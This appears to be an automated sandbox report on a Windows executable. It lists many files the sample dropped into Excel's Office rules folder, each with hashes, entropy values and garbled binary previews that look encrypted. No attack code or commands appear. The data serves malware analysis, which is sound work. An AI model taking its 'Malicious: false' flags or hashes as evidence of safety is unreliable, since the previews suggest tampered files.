C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.761338022816266
Encrypted:	false
SSDEEP:	24:s9l3MR71pJk46Kk3Am8r7yPr9td7cpqbFh2bD:sgD61UrqkAh6D
MD5:	595AFFB663C23454C64743343502D0F0
SHA1:	7CC819BEED6F9B6908EF0B585BBA5D57298F6587
SHA-256:	FD48B23F2B0137E3D6883A40C2BE1D9137472291EF07F6A199A825AF770CBABA
SHA-512:	CFFF5727F4DFAAE86CD959B9E8200864C60EAC44EB3910A8A5A6A86193E363D707FB79D1D509089F944D92A675F42F9A106AB88AF6C30D7212BA4625AE21C70B
Malicious:	false
Preview:	<?xml.QO......'~?...kP..&;...y...5i......~`..g.V..PC._......#F..5z.\(.. .-.s..t+.?.Et@...@...]...R....SKR.'...]....BH=m....+...6....E<.F.6.I......RT6.R.X..C]6.^..n....w.9tc2..dq....w...Uo..c.....2..;...$...C/<'.A4t.mfuv.M....... .!.F..pu...HD.wH..3....>:X{Y.#..^YZ[.'..c..]..zt.1y..E....&.6:~Rg..#8.W.n.;}.........n.]....K.,>.=V...7!.(.~s...yt./......Rl-....F.V5..R..0.......D...6..W..Vh..De..z...1'..V...\...... ....]Y'.....)...W.....M..t...z...+...W.".....s....w.E\.w......T.....]...'q.............S.'8..Q._y...`.3i.wJ..%......P......)I.z.%.o-4..9.R.....q.P..\....Y.]...;V.........k.#.D.Mex....V....{.!f....m)C(.]ncTQ..-...r..}R...e........>..9..0.00.f..WP[E..!.\|'/s}.:&......n#%.. 5~.g.b..id...u....).p..............e....ax..."\|...5..!.s.......Z-&..Mg]...x:........#.. .I..e..7..R..X.../.w.;QC8..wh.....P..F.1V...m.]...xb.WnR...D_{.e..Y.).%...I.r...d.#.P=.._...rk...g..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.880537909258689
Encrypted:	false
SSDEEP:	48:TmRCWb7wQqXdyTDl6Aa5ZZ90gZHeWZjkc27Nanzk7uD:TofbUdkZ6xvD0gg9Ranzk7W
MD5:	88946CA90E18F7BC318309C8BFE6089B
SHA1:	2B301D5F9F5C86C5CD4D483E1B3D00047460577F
SHA-256:	5A0649406BE9666224631B806538BE269ED475A7A9797C1E90F91322D90F6825
SHA-512:	617C605DF61FDF387B082592F1DF6BFC9CC404351EBCAC4B150A13C9C0907A655F3F4F835F17B691D83A60E17451DBA2922BEECB45D22AE0CACDCD7734399F8F
Malicious:	false
Preview:	<?xml..........Hv..:.r.G:$.w)o0......./...}......o.Zk.uoKw..".@.R.w.:.*.E.E.......A.6c...7..u...W.f.N.=.....f..Z...8.w....).; F......I..!0^%`.,.=.....T..9...ux..oc`....36.w.)..>...W..........&\-..%.....2.................L.{.8=.;.W..\....<.26.l...L.v.o..6&d.zON>.R"sO..oA....m.54....u........L'F@..v..A..8.O..=..T.E=...W.P..W.r.M.v.F=or..x.Z.V....>.&....kj...s.!?t.......'`..X-.Sn<..g ...2....Wg.7.G:UU....17-.A..%O.l.[.....v...+r..,ko.9.D..Nc..t..D...ds.@+%...........=u.Hy'....M"c.-.{..#b4.2..:Gc;.F...S......./_......?.7B.....3..Ta...$l....Y.2#.)...b]'4.q~r../E.J...(i@L/'......D....I...S"..l.9.1.Q......F......9oI.......j...p....f...i6.>.$..,r,..._.B0.)..;".6...gu}<.6.....[?.e.`W1..@.k...a.Qc..1.c.ia..8.^zM.y$\.Q....;...@.4.7.....t.].......1..!/.wc.&T.h.`>)..,Od?V....P.r&..'.2ec?W...w..].C8....6..p.Z..<z.^....sR....a......=r.^.(...;.P...$......B....p....R.....M...@.......@.@.m..}......qo...D<C.P..7.%..\..~.o....i).....h..w.I..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.868150564872737
Encrypted:	false
SSDEEP:	48:P9SQpSi85RFR5Wq9EQZUE5+Xt/CGflgsUAD:P7MiSHn9u/CSgsn
MD5:	85B36A29BEFDEA4E0F03E5796C36AB13
SHA1:	E7A770BC940156059BE196319C04052180E2BB0C
SHA-256:	99527BBC4C4758DDD01DC32D374664A26647F0437109A9DFC909804F81A94381
SHA-512:	CBE25EF28ECAD4053584AD952F45D597AC336CFD61387416BB554C0DB8E5483B4FD31F7C2D3B9A14EA4F4B765E8EEC44DE84719E59367E8CD69FE50A04E29AB1
Malicious:	false
Preview:	<?xml.U....t.0...........3..`.!.....=..>.czn..Ecf5..3..;Y.8.zn.-J.o+K..&.)=#W..l.a..I@...-Tl.Y7.M.b.J......=G..nm.....dc......\.........).>j....&.s-.._...."I'..5e....I$vE..HC..YSp.........=.o..:.E....H.....s..$.x&..s.e.vqHp5....G.(.)A5,b.XQ..y..._I4.<..GtQ.UV,..b.-...5age.kM.J.R.Px.[.k....5........V.I.Q.j[I...A...?Yj`.MP.k....h.FIz...5(...P.3.f..X.k.xH)i..P.....5h.....g.f8#.....A.k65o..kK...?T V&U......... .....C.<E..y.ab."e"./....T[.?m.:.y........[.f.s..........f....4...Ux.&X..;6jZ=.i.../K...{..#.WfqD?....t&....b.T...O3...V#.#.l..C.KiPa..Tr.R.vL.?.B7.P\|.....~Q....&.~h....F..Xn.i...........<.....u..?W.oO'~...5.QX."..SV.)x0..2)/...2.x.Q...v..1wgv6:.)...O@...c.t......:..63.....Ah.v>7......w8...=.u...Zy.w..1.r.i^d.%.....#I...6.$D..!E...7.,...7.<....F/......4..d...9"..5[.v.5o....7.E....DQ....GF.;..P.z..[rd...s.N.c0.0.M.s.M..s.E.."..(..._......O...UU<...\.,....;B.#S..'.T..&..L)`S......[\/..<.CT5n....QcJs,.sH.+..Y#....#......B.jC...!.Q[A...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.722431066808043
Encrypted:	false
SSDEEP:	24:l7W3Opv+0TQ3+AK3edWDJorFzyp2bQr/Xlk0O2bD:lq3Od5TQ3+AKASSrFzCWQr/601D
MD5:	E605608E5C2C6CAEA67ABEAA07413DF4
SHA1:	E0034F7EE99D7E5794FBD1CCB9E3148D49913385
SHA-256:	89BAEF71E725EC0179B04B5064C6B31658F9E4D7953E9996446B9D176BD51B76
SHA-512:	B8BACC04D54B071F179BF6FF075860C6FE57EB5FFAD8C07B9ED8AE263DE959DCBB2D0AC7886C32F021757428400EE4C5D8B58EC861E437501440A0F48C123EC0
Malicious:	false
Preview:	<?xml.._...:..&.Ka..}....fn3...=.)..........:.k.o..G.........l.k...S.8.$.X\|.: .r..A.ee..?..p.../.}A.;..B[.".a.0T..-./...M..l....3.;..:l..i.....p...j.....B..:.W.E...3u.... fp...O...1...J..?/..3...X.K.B=-.Z...9.&.\|m9..$/..eQ.../.C.."....6..z/..0.~x....;.....-o.....j..1b...&......3.>....7.'.S..K..D.H......n.....sw.8N^.}.~....-....t.(....2........t..:]R.........Y.mZ.2.=..+&.n..Z......0.....,...d...w..Zl.x...EN{%.1..@.f..;.T.-....>...t[5..f.H..h.0.@.........>n.T.R.........r.V../d.6......A.+n.m..1.....D2.!]g....0.w8vJ.....Q. .e\/!..s.Pu.......p..]o...f&..qG6 ......A.....a.........}.;.V.0G?..d..+.-........(i.8l..../..bd....'.Z...D...c.y.....Z,..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.707056181724082
Encrypted:	false
SSDEEP:	12:1jLkhHoRcXqXI5rmAnO9I/0CGskxL5O1+/Pd3fVTJThXXGucr1x/j/T5SUdNciik:WloRcFrmAO9xCjGd3dhFcxF/A2bD
MD5:	9CFC24EE4143B7661712A4FDAB23154F
SHA1:	FCECD4E900184F9E2EFF9986D4644246A28ACE45
SHA-256:	9152587A9D9864153042D30BA1676AE099188BAFD293E879D0F90820C165FDF2
SHA-512:	C7E3302B9A42614901B01204872CE127E4B056AFC22AA410119CDDCE9553D3F328045756D43FAC5C1525DDF8D269528D4D2A1D9FCB9E005248EA006B671E9BBB
Malicious:	false
Preview:	<?xml...i...C{.9..x30.......k.ix%.....T...o...A.K.R........+.x...8..2.8.+P.$.nI...{e>..8f1w...2.'7^S..9..n....E.B...D._wa2..B!..a.......u..w.H..,..2...ioP...7...(E..iO.F.3.......(....o.c#......e."I..........E.ag^.......X.8Gx..,....@..?w..JC..c.g....l.\...1z.{.5....PJ..Q..r...{4.{j.{..YF.He.6.a{..N...V'...~.?0VA\|..h...ua\|T.+\S%F....9C.;..tEx.PZ.....]%./F..~q.....O'fE.E2.U..<f..;.'.-JD.b.....0C&[.i.....#..4.OQ'\|..MD..Ix.w1.b..V....T.K.).$h.z.$.c..\....G...p.+z...?.1n.O....J....z......S..9.D6........h-.........Y........U ...'.N/.~+.s..x..w..v.c......k..*}..-.d..SMP..C...4.L.zg........)./..x.g.KL..F...sN6.."+\|.X.C........(j..#.p.V.]+.........#ZUamMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.879910845426758
Encrypted:	false
SSDEEP:	24:nwcWeSWvUqeBQSvtt2tb23unynR+9MTqZi/Zf5UgLV0ZQxrZ6b4gctB7SO+/K12X:wcZdcbjC2mykSuZi/ZRUbQRmctxSbD
MD5:	985E455F647F645538831B07E6F71835
SHA1:	CF129F95835E153BB3DF84EF74FBD8946B255EFB
SHA-256:	B002348309A1460AAD37C5C05C51462EBCA3979777BC77D6FF83D8C1FC53FC64
SHA-512:	7C58F82D0716EFD731328BD4FF6312458A268408142F9007AF9EB5681F5340C5773B4B1DB0BFCF502AEFB441D1573C70F6F538EFCB022FFE6858501BC6C962AB
Malicious:	false
Preview:	<?xml...q...r..I.;..@ID..!.x.8.,.T...>.w........T-R..Q.. ..@.n(...`..T>.=wK...Z.8.b\\|...`.:,".j.RL@...8.+S......\|..k.t."..N.k....`8$..:4Z..}.9..fg......bYd..BH7.........E.6.b....F.A...Q@.Qr.q...d.....).p....OE.K..S........D.W...s_..........7S{..u....DKL...b..`5x...I&...(.d....T..(....9G..'....\.+..p.m........o.Y....&...}.T.yr.qj...C`.9.^.$=.3>...V..lp.......G..Q.3vq.>.......v...xC........wvI.d.y0sv...^Y9..{a..3.f.c]=.g2r.....F...o..........<.`.@..7..p......P........o>:;...&+...@..EApPk8.6.\w.M.2..>}l.8(9...r$X...q...a..P..5..)7.(.N.M..t)..=..}r).z.k.[H..a.....p...L.".s.8Hn.w....RqG..3.....!...H.[>z"~.... .CS]k.xt..:w...j.!.x.2...0vr7.U7zk....gA.PB)\|..y<.6Hkg.%...wU>..Vn-.XqB6.G..o6.s..Av.....P3LpIM..b..L9....hA.v..h.3...6....:/..^`-3..:8...:[..1..I1.Z{..5.}...O.....>......A..R.2..Qa.9.pP...)..Y.&...d+O...!....B..~L..t.....E.<.rOH....>...!e./.Q ..H$......k>..).yAi..O4=e....N..}m....XIY\|.l...O_....H....'..4zL.* n.&.<-^.g:.g).s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.868552663714153
Encrypted:	false
SSDEEP:	48:RsNW/jXGJ/r/4sgbCDCIjGeG9ZxCFXKKl5epHnfVD:AW/TGJDAsgzIjGeG9IXKKlsHft
MD5:	7373C4B4EF2AE2CC710FEDFBBA4281B5
SHA1:	72D98836D8D5CCC595866537E443863BEFFFFE64
SHA-256:	0B297638BFFB63BB3B370D5F504FFF1C2F62C081F2E72417DF2BB332E8C4699A
SHA-512:	2904D56BC0B6BF62B94B26D0BED36C6F3615FED47D3E68FA578CF41BAD65256DB114D506AED36DA560DAF4AB5BD186CA9EAC97C0B588BC5AA72ECE4DB4D08B9D
Malicious:	false
Preview:	<?xml.-.Vg:.h...D.@A..F.=.o-..Nza.:.....G.._.6.%...F>Z...e_\......_^zYb...x...\{....$..^b...P.i.h.C...O.]..k....G...B..=54_.#.?....Re....E...;.F.r..t,..D...UIM..9.'(0.rN......8]...m...U..O..T7...Iw.GU....Z...j.pI..f.:.....E.A?lb.J.?..f;...l.nh..@\|.?...%&..pp.8Y........OST.....3.....).{........\....p..+..u....Q...5.../D.=}rT...q.....%..H.JH.......k......".......).....-.0.XFFQ..j.s.a'.Nk.w....>...j....qP...j3..B...V5..\#......Q.kZ.hO...)..U...%...?.]..-......wp...u..l.[."....fq.u.Y;.>.~.1C.~...J.i....E;..._`...i..H...H...SM..H0....o.:.Tks....'..pi.&4b.A.d..ap....F>.y....6SyA..7.."....,ZBj}=.....)..R.f.#.}............J.j..4..b8P...C9l#i.O.............77..1]...2N7^......[...lx..dO*...........W..P..C!E95...'6.DdD..E..o'..f...........8..%...E....J%G../...`....0..2.v[`.....CJX.... (H2.....`5b(......y.j&'..}..p5.V$..%~.PS.T.-4...U..6.}.#v.m...F?.`O....$.L.C..k..]......_N.......bU{.4....}.......J...Y<..E.!g%.'D.2i..[.!vc..n.........}...V..L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.708822840460276
Encrypted:	false
SSDEEP:	12:3pCHwNTLoTnxsI8bJvesOyw9IYWQOZMITsgakaIsTcl8St8DuvHqdCoxqkgnsnP/:3pCHmoTnB8tvcj9EQOZMITFaTBccD41k
MD5:	7AA61D259C807A1B61F5C6FEABE961B9
SHA1:	351B0C2FCCE10087DC836336CF324BE166A16135
SHA-256:	0B9AEC2E4A87AF0024D25877F54911FBCC1C681C12AE21237EA31A429A986688
SHA-512:	1E88EED423E05FFDDA9922485EE8CDFAE07E66CBA8F312318CA8EE350A4292E009568F7EE62110D95914835931BD8BB0DAADE9F66A93F5A7BBC29C4539FD6628
Malicious:	false
Preview:	<?xml.c.2......W.....g....%.Vi_...N..q>w .#..R.\.v...E.~...\.gs.+.!R...G{........vb......U.S........6..C.#E"$1...6..s`.M.l.U../.e.T...........k..!.y..t..?...bF.-\T0.....U.be H@.x5.k."X\.M..\|.(+.s...q.!..........Ck.....[0%.].T.v.c......3.X....T...Z.]..P.>.tA...8...6+.$.w.8Z.C.b..].P{=.@...7.6n....~'H...m../.Q.0q.....58.vT....#.......I'3....D<../:RT....d..&,1..Ua?7...J....jW..%.....S.=..*~..?.+.....4..m...2.`.:.........Aw .K....s...5...U....."#.Dr..$...=T.Jq.Z..k.x.%....b......BK..m}L......r...u.1f.h..U<...u..N.XY..%.H...)...: .#E....s.g...b..Z7...P).;......-]..Ce..Y...k...u.B......,.e...,N......'..W.I2{...w...7.5....3f%...........mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.728300383876103
Encrypted:	false
SSDEEP:	12:EFiJ73f3Bx86HPpZcHCF7ODv6atiQl5li3rQZa3ng+79/XJaGakVMSUdNcii9a:EC3fBx8U2HCH+X5lKgJMVT2bD
MD5:	92FA73F062E331B1D7D5C71A2EF29DA6
SHA1:	53FEC415BB730DAEEB6D9A50C6AAF9C156B056B4
SHA-256:	9C7C45831109B3435C2DB9D50AAAD055FC00396E07D4B20171001DB6E39C6519
SHA-512:	89DE3D2768E281920333F294C5F8DDF0DA79F8999041825D55A55C1B1F9DE2CB3DC4245332FBDAB5A189BBC26E5ADACB43F81B6C1F182053BA8960F574F03FCF
Malicious:	false
Preview:	<?xml.w......kj.68.l6^S&..PA.x...%....W.&9.X........@.~........nyK.....e.........A.b.'+,...X.......L0...W4,...y......d].{sH.....\.P..K...1.[.v..XR..A.)t..A...`..w.g}..jF...U...-S.U..-.2..6,nX..........,Zw....\|{-%.{.........x@..m,..{......\......c..!....,....3#.4..0...d.....(.l.wz-.}..>L.\|:.._......T...%..a.qm.'...-5.....D..c]..q?...B.=...#.^.!E.P.\./.TS....H$g..7b;....C+b.p....1[..$%]X^r...y/..F.. o.(.....P......N......g..z.....(>...s5.g.....o..{....5F..TCJ..;~J...D.....a.+.7=I..,.Q.57......./.O..7..._.<...[.YjP.'.&.>.89T.M.J..xlm.z.9..U5>.d.;.u..v.X.L.{2S..B.....Z..h.T.2D.f.dCP....3..M.&..$.m.......).#.e...Q6...CsU424S.a.}..N.6.U.LQ....D...vG....:-...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.894060236622352
Encrypted:	false
SSDEEP:	24:aaprTqR3krxwM0bbm67TLOxh4V4TPjvbLtOOlckqHxkVpNzfI1Fjf/bZdYErjK9+:aaprT7xrCTirTPJzD3Vm/bZdYEr8PuD
MD5:	4431B533996F6ABC9FE9063DDC19D6B0
SHA1:	A8E92AF60283B67C8A6A37CB11D74F1D53A3AD50
SHA-256:	617BE03A3A5358CEDAFB29CB4277EB18B13B74839E637540B0ACC30AB9CCECE4
SHA-512:	8B6E6FE3BD76507D7356DF9E65D81EAB01B2FC4DFBF7785AEF2D48B447D826127D3E87A47E3336B96615D29BDDC1143FB252C325D40C3D2F6723F48B6CB8D32C
Malicious:	false
Preview:	<?xmlXw.N...\|.jj......d.4........v.#.......8@/.RO.2<.s9........j....W.}.s..j+..y..,.w..z.s.y....8.K.Nq.ir.v..r.",.T...Z.....a..../.{.x.....".......X...]=M.yW..l.....B_!.....-s....I...!...AN8e.xF\|...z6..b~4...=`...A.ja.I...Rp.X...).I...R.........c...yy!-.}....h.h...^..r.4.R`~w...2..(-.c..L....../9...#.-._.....aJ..rH6Y*..c...C.j@/..h..-......@I..........I...HD.5>.B...d..#C....1.JZ...B.wh&....W....'(.pfS[.S.T......N..).H.......E<. i..]..#.6..]t..?...5..:C....)....M...../...:..7<~......6.kWlR-.2.....iL^...,=.Q..I........!..E.o...Y...y.e..>...@...Y..<.0.y?R....a..-/a....g.Fa-....1k..G`.u...0...y...nX%q.\9..'.u...u...H...S~F.d.......5..^8.....)..."..../%U......#...0ZO5.e.C..=.g.E..U.f....Q#...(m<.`Ux..L.s..s.!Z.mJW8\t....0..f../.E^.....T......r.. !...hAsW......Dqd=.0....C{.....,.W.fp.d.......`...<.up..#X}..U..M.\|....Y..P.Rj.b..........@......p[.[..M./.[......\|..>..0.%g......$8t...WY.i.j.1._h..;...I...Y......N...V\.r.Ef...O...j.i.}..l........H-\<l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.876355079855085
Encrypted:	false
SSDEEP:	48:Ayva6Q8z+5B3mEJloFwmpDxlb9n0D3A6D:Ayva+aWeklZ6N
MD5:	B65FBB46067ED66F964CA6AA20421C8C
SHA1:	CDC056667DB08E7E30376857B8E5C9D2AFC21901
SHA-256:	126FB3BC949DE927A2F294F93CCB718EA4C440075670D3460AF16D290A9369DF
SHA-512:	8D075A8DE129F5A1E8C54F2418337FDA7615AE525E516DA447731387B0C977CE99383FDB324D6B9FA2BED75E0372367122AE93E3339663A22B8141C7012AC4F6
Malicious:	false
Preview:	<?xml?.y.. " ...W.1.VD..f....$M.....`r..E....W.............n....I.D ................4.b....!5o.$^.)u........J.j....Da....e....8..z.(....^.....B4..a.XJn......?K...G...L..W.....+P5P..A...r.....CH.?;.W.....3..! -..m.m..h+...4...o]S.y.f.m..D>:.Vd.%..l..YS."DQ/v.)9.s.j............[1l.s.C..1.u#..%./IS)V..........5....bFDik..a1..#...........}.f...1.K!<.Gx.2....bc..6j)<.}i..\|.Vx...X:.vd..W...9...h...A........8.....J.-Ha......+5..k..#@..].qIbf.b!.../...;g.....<.r..B&0K...#4k..J..'V...a.6.J..y.l.~].....fX..\t.c.m..G.q".yBm..< j.3..../.j].4+..Ie^Aa.?..\.CJ.$./.....8..o.c...\|...@&....F.^.2.x.R...Zkzj......P..c..R.#f7..^0...:\|...6..x......>E)\{.2lM...&.V..2.......}z.X......=....pu.....UM.^pF...F..8m...>.W.G.3r..A..F.........#.~.K...?...x.........u.X.F^.b.n.<.....G......~....Xs.5.t.9.......v.*.....l. ....7U&.2.\Z!po ..pH.V~...I..G...z...P.jBU?.t..R&....y6.....t....U}S..o.).......Ci.......a...C.K...kI"........Ev.(........ce..M6...KmP. ..Ua...D.....A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8845129622753225
Encrypted:	false
SSDEEP:	48:v/bBBtWghrRoMZsrDj9rgJBopzkBJeNegBuD:nbBBtPNOJrYBgReKW
MD5:	6B86E30B5A23047F6B0A5057B028999D
SHA1:	A29DFE6AF3EF2C20990E9B9EEB750DC0E92CFE38
SHA-256:	CAD17D76037406A979FBB5CE00625BEF5F6AEDFDF1599E800A2711BF091E58BA
SHA-512:	30D1FAFA35185A2B260015261984CABC48B71909C212FF00D5624954A0538D009A74BA70BDADB676FC67A090F6A02C802CBC01CA4F8261233242E88952182238
Malicious:	false
Preview:	<?xml..ixS.8...K...7...i.Bzi..c.uc.....2..JB....].2~D..n..../..))..'..%..v.Th.c._.......[.. ...c....lw.!..1...o.mm...x....1.A.9.c...e....={...G.mohGz./.P....]i.-..0LD...#(j.w.{)..hz.K+.b.R.6.F.Y.KL.....t...s..[.n3.....us.)...g...M.b...'[.c...z..>q.4.#................NmS....yl.Z(....9.\|b;.......!..T..z.....e.1.... y......uJ..b....C...,.b..+./.T.....'.H.Sg./.e.x..N"h...4....y[....,.zC'.C,m,...cMZ.....!&........`;.'X...x.m<.g....wH]U.O...3S0y...&.\...&...2..t.\2.[..W..S......Z.+.+..$".S..k.I....Q.......5.E....B.h\Y,..\|..W......u.Ht..]8...f.Az.K.x..}D..^..........L...1....3....8)m......R...m...0...[N..c.s.";.}8YX...9...}........c...U-,..$I.....69p.H.H.-..G.V......Y...s.B.^.............56.@}.?.s.o.Q.......~1&K...DyLU..o....@...Os.@.OE.1.C%%.s..A7..0..i...S'.(.W...D5.......Y,...-@.q..../Y._...s............@.R.."..3........>cP@..-.....9.%..1.....->...0..y....d..E.....H6....N\|{......N..K.i....%%..$.....1n19$4v.Z. . w.G.Z...o...U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.898781335851712
Encrypted:	false
SSDEEP:	24:q9yFD8zMFW1jfHlUGTsEGawAF9+8rywO5nT7B7XwSHcb05kNObqlsxoX2bD:q9pzMFWLsE7dFQwCoqlbYgD
MD5:	8795701EAFA8F45816971686AE345D9A
SHA1:	7CCA1B46A15A9863D445391CAF101CC6692388D7
SHA-256:	EB26562977F7B74A456A4AEE14EB3E5B85711D8C791A82297321C86099FF3D62
SHA-512:	1A4D282F27E39E6EA6B0BC1D12ED03D9DC4C56E958FD801AF5620FCBFABA7EF2C761BDAF55BD11953A29661155B14661EC61DB45D9AC2770E70E8ED52443DA26
Malicious:	false
Preview:	<?xml.K@nXH.......?....C..3.........%...).b....lg7.;..2'$<..:..-..?gF0r..E...n.R..Wi$..Y.......2..h...-c..R..p....D....hY.B..d.. ...^%.r.....`.].3xy;..x..Me....J...;......._j...B1..m...%..O.......u.B].......w...Q.....e..:.n.}.l[pf..7....U..=^...#..`..oee..aq...:N..FX.n..8.2...-..M."^..6....O..`.H.U4+..V..0..Q....K...........s..2zc]..)r/...q;.A..Y.....2U..W....0/...Y..M...!v..H.b.-..K.H.e.....7Y......Q..[..,...w..Jf..R./u.wWv....e.;.=..Q..5.X5..I..k[......\|...C.a..X.k8I.a(....#..r.......XZ.j.iB.z...P.aL.]{.6=t.......u"54$.Xf....cX..K%\|...jU..hDL<....o..O.~3.sc.i...?5..d.K...,...sK..q...0.....aN.................#}..?Y;)...Lb..nK.Q.C8.hI.T.p...RA...F........B.d...a=GI.,+.Y._..c...n.../..VvR?J..xS". .X~..cu....2`.......^....&<U...>.Y.P{...i#A\...g...hc>..T<.m.M_.B....7T).'5U>)9.R.e...oC.....n..(.R...0......e.\|4..4Ml.v.9../7.7..-[...-.{.D...5$.;...cT.......(l.<......'...#ooF.^...K...s.Vx'Cx.8j"?.U.n..m...(...<X~J.A\...N.)..2D...`.-.%..1V..q....ju

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.881900826685607
Encrypted:	false
SSDEEP:	24:e0nLXGv0cb2ldH6/F5THFbmEOrncmllEFyBpq7DnCgwvk6iPuYmWfAhPQiubjL2X:hLWf2wPTHFbmEcpATRzrGPQpb8D
MD5:	8084B26FE79C283C9F028D8BB3B10EF5
SHA1:	87AEEC43465D85BE11DB20E93B64E3D8F93A1564
SHA-256:	15D9F96F698DD07F75DEA675A511DD4E1B091CD58D4D0793B84F9890513B070B
SHA-512:	7501D7C626CE08C53C4804C0DF1F63A0327C7508FA3E1D1FC6537F1AEEF08361A2E439721136B60B3C2BA476DEAC054A1CD82E9CEC65EB98631B35F2580EB43E
Malicious:	false
Preview:	<?xml...dO.....r.h...o..e.(..w}E..%.u.gAH..'.\|....Y..../3.).{.}QF...A.\|K....dz..x....z.tN6.....u.9...g._i." .l....X.p.:............d...~.c.c.TFj.M.........M...H.Q6C.T.v..(..Q.M.u1..3.Po.n.Ez7...k.8.b.Y/S...`:....<...,...%.p4:...Y...<.=.=g.]...$.I.5O5!@Bn]~i.}.......z..S'....qDC...DtS{.~.gc=>]s zl.....#r.0.S....t.,`. .z..X.......@%I.\...Q..P......0._;9..P.....#...3.R.....N6....u..,'K.2 .>....b..`i.5V.iU"..]\|.t.H)#"&.W>..N....v.d.....%..o%.;W..}R>A...?&..S.c.2M....&\{.9.xT,.\|..f..../9K..{CS.m....aM.....I.vf..].H....EC...X.#V"{#.+..........V......I...(.\|. uEe;a=.s..mC.e..-./c.8.......xp_..... ...N.9.?.Z...m..@.>.I......<.........d..b._.G5...`9.N..e..Gu.W_J....A.,..."..........+.......HH\..eN!]..So.....9..^.=rJ^..{Ft.......I..];.).k..".......v..U..,...t-JC1..V...dW.... .S..po..K...%..]......,C@g\|.AU`.h2..5....{<..0.@..Yr{+...R. ..(l`j&...~)IQ..G).k.+v../B."....c[..4..1./c Sm.hf.:.z....."..\V...@..l*o...)`.5(.....#...k1a^._.S4.....S..B.._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.890407300274579
Encrypted:	false
SSDEEP:	48:kWt8uRTeO8+YjAX/57gc5Bx1N0Vf56G2W2pRKvBOpjJ8ND:BqO8PjAX/57gAB10p56G2LI5Gdg
MD5:	6AD3827B4BFCC9E92832565C7D42E8D0
SHA1:	0893BEA325E7ADB2040DF247B60E49CCAF0CBA0D
SHA-256:	BD6D0EDF2EF362EA18541D807D91E7D38A142DD98447720C573E2704A34FCF57
SHA-512:	F7E675CF4FCC52BF916610344D31619331DA264E5EB50F54808B2C596FB5E9EE2A21A3A36FBF0CA6B5B13365A7D1239C868B7FBB08770D6B910519C39848771A
Malicious:	false
